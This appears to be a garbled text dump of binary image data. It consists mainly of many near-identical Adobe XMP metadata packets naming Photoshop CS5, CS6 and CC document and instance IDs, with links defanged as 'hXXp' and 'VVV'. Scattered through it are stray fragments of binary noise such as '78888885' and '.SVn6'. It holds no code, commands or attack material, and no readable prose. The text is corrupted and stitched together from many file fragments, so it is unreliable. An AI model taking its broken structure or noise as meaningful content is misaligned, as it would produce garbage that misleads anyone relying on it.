" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F64AD93B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F64AD92B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:E6E84608C39F11E3B3E9F09958B35F22" xmpMM:InstanceID="xmp.iid:E6E84607C39F11E3B3E9F09958B35F22" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:064aabb1-2cc3-6a4f-a545-c84ac08bd95f" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:995279ED7DA111E39A88E7CC14D97E75" xmpMM:DocumentID="xmp.did:C6B2B567447611E4849A8056725E8DFD" xmpMM:InstanceID="xmp.iid:C6B2B566447611E4849A8056725E8DFD" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E4F97CD1244111E4895D8FCFBA84EA03" stRef:documentID="xmp.did:E4F97CD2244111E4895D8FCFBA84EA03"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>e
.jwb>
vd3).pM
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E773CDCB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E773CDBB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L=
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F4EB43FB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F4EB43EB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
78888885
88888888
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:7AA0A09144A211E08A1EB6FB943A5640" xmpMM:DocumentID="xmp.did:7AA0A09244A211E08A1EB6FB943A5640"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7AA0A08F44A211E08A1EB6FB943A5640" stRef:documentID="xmp.did:7AA0A09044A211E08A1EB6FB943A5640"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:8961AD8E44A211E09ADFFBC8A98B1FB9" xmpMM:DocumentID="xmp.did:8961AD8F44A211E09ADFFBC8A98B1FB9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8961AD8C44A211E09ADFFBC8A98B1FB9" stRef:documentID="xmp.did:8961AD8D44A211E09ADFFBC8A98B1FB9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>bt
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:CB8F2C14A84DE311AE51C7511D711A5C" xmpMM:DocumentID="xmp.did:E2BE22ED78E911E3AF0DB32538420FD1" xmpMM:InstanceID="xmp.iid:E2BE22EC78E911E3AF0DB32538420FD1" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2720AABF4377E3119699B41707A5392C" stRef:documentID="xmp.did:CB8F2C14A84DE311AE51C7511D711A5C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5CFBDFEE6B48E31183E7E5E3E1016411" xmpMM:DocumentID="xmp.did:B0F563284DA411E38AEEE568ED41317F" xmpMM:InstanceID="xmp.iid:B0F563274DA411E38AEEE568ED41317F" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5CFBDFEE6B48E31183E7E5E3E1016411" stRef:documentID="xmp.did:5CFBDFEE6B48E31183E7E5E3E1016411"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>0
(.SF/M_
diTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:12A492A11E38E011BD82F8FE4FC68D8E" xmpMM:DocumentID="xmp.did:3052AA6438A811E0A214E7D3CEAA3F7D" xmpMM:InstanceID="xmp.iid:3052AA6338A811E0A214E7D3CEAA3F7D" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:57653F36A438E011BC31B2CC0505AC5C" stRef:documentID="xmp.did:12A492A11E38E011BD82F8FE4FC68D8E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Y%XzN
3??sSh
g.ujM
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e9150922-3f98-a349-9580-dcb2b2500a7f" xmpMM:DocumentID="xmp.did:633A6545278F11E4914BB1D4A5C9A8A9" xmpMM:InstanceID="xmp.iid:633A6544278F11E4914BB1D4A5C9A8A9" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:813f23ad-2148-2045-a51f-739574078253" stRef:documentID="xmp.did:e9150922-3f98-a349-9580-dcb2b2500a7f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.srqqJH
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:162F408A4C5011E3958E8B8E99F39DCD" xmpMM:DocumentID="xmp.did:162F408B4C5011E3958E8B8E99F39DCD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:162F40884C5011E3958E8B8E99F39DCD" stRef:documentID="xmp.did:162F40894C5011E3958E8B8E99F39DCD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Q[
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:2298E5BBA5B811E3AACBC07DC0C7D020" xmpMM:InstanceID="xmp.iid:2298E5BAA5B811E3AACBC07DC0C7D020" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:96745DE9ACA5E31195F4F0544E176B2B" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
40:J%f
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:8ED887B65BE311E38CD899F297AA5C98" xmpMM:InstanceID="xmp.iid:8ED887B55BE311E38CD899F297AA5C98" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ba67187f-a3c9-4e4a-9851-f19c2ca981c6" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
)G.fd
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123" xmpMM:DocumentID="xmp.did:96CAF2C05BE311E3BC1AB0757D17BEE6" xmpMM:InstanceID="xmp.iid:96CAF2BF5BE311E3BC1AB0757D17BEE6" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ba67187f-a3c9-4e4a-9851-f19c2ca981c6" stRef:documentID="xmp.did:03B4A37BBF45E311847E8D64EDAA5123"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>d
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:011D8F85607511E3BE3CC1130402ED4B" xmpMM:InstanceID="xmp.iid:011D8F84607511E3BE3CC1130402ED4B" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:94209A66EF5BE311BB71F804554CAF2F" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:34C09297341F11E4BAE7FA76CC539B7D" xmpMM:InstanceID="xmp.iid:34C09296341F11E4BAE7FA76CC539B7D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:b2ae9780-d493-dc4c-9e43-452d02dba839" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:83107FA5477511E38907EA5D748ED802" xmpMM:InstanceID="xmp.iid:83107FA4477511E38907EA5D748ED802" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:14D799907447E311B68E9555C71CFBCD" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>]W
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:48B13FD1278911E4B16194A5B28EA334" xmpMM:InstanceID="xmp.iid:48B13FD0278911E4B16194A5B28EA334" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c08565b4-14f5-e344-903a-2d551d64e9e8" stRef:documentID="xmp.did:4743F3CD450211E3BFE287E4121697C3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F2D4915B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F2D4914B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F0D3D74B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4EFBD81DB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.uhLy
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F2D4911B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F2D4910B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>v]
.nA.B
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:CEA38536722311E4B76C8B30DB322A07" xmpMM:InstanceID="xmp.iid:CEA38535722311E4B76C8B30DB322A07" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:561880d2-4a88-5d4f-ab93-9e5e3dd4998b" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:01C9CDF64DBD11E3ACB5F1EEFBB20439" xmpMM:DocumentID="xmp.did:01C9CDF74DBD11E3ACB5F1EEFBB20439"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:01C9CDF44DBD11E3ACB5F1EEFBB20439" stRef:documentID="xmp.did:01C9CDF54DBD11E3ACB5F1EEFBB20439"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>*
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4EDDA143B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4EDDA142B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
3.FV|D5
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4EDDA147B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4EDDA146B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
.SVn6
.VM*0 {IFxW
-U} w
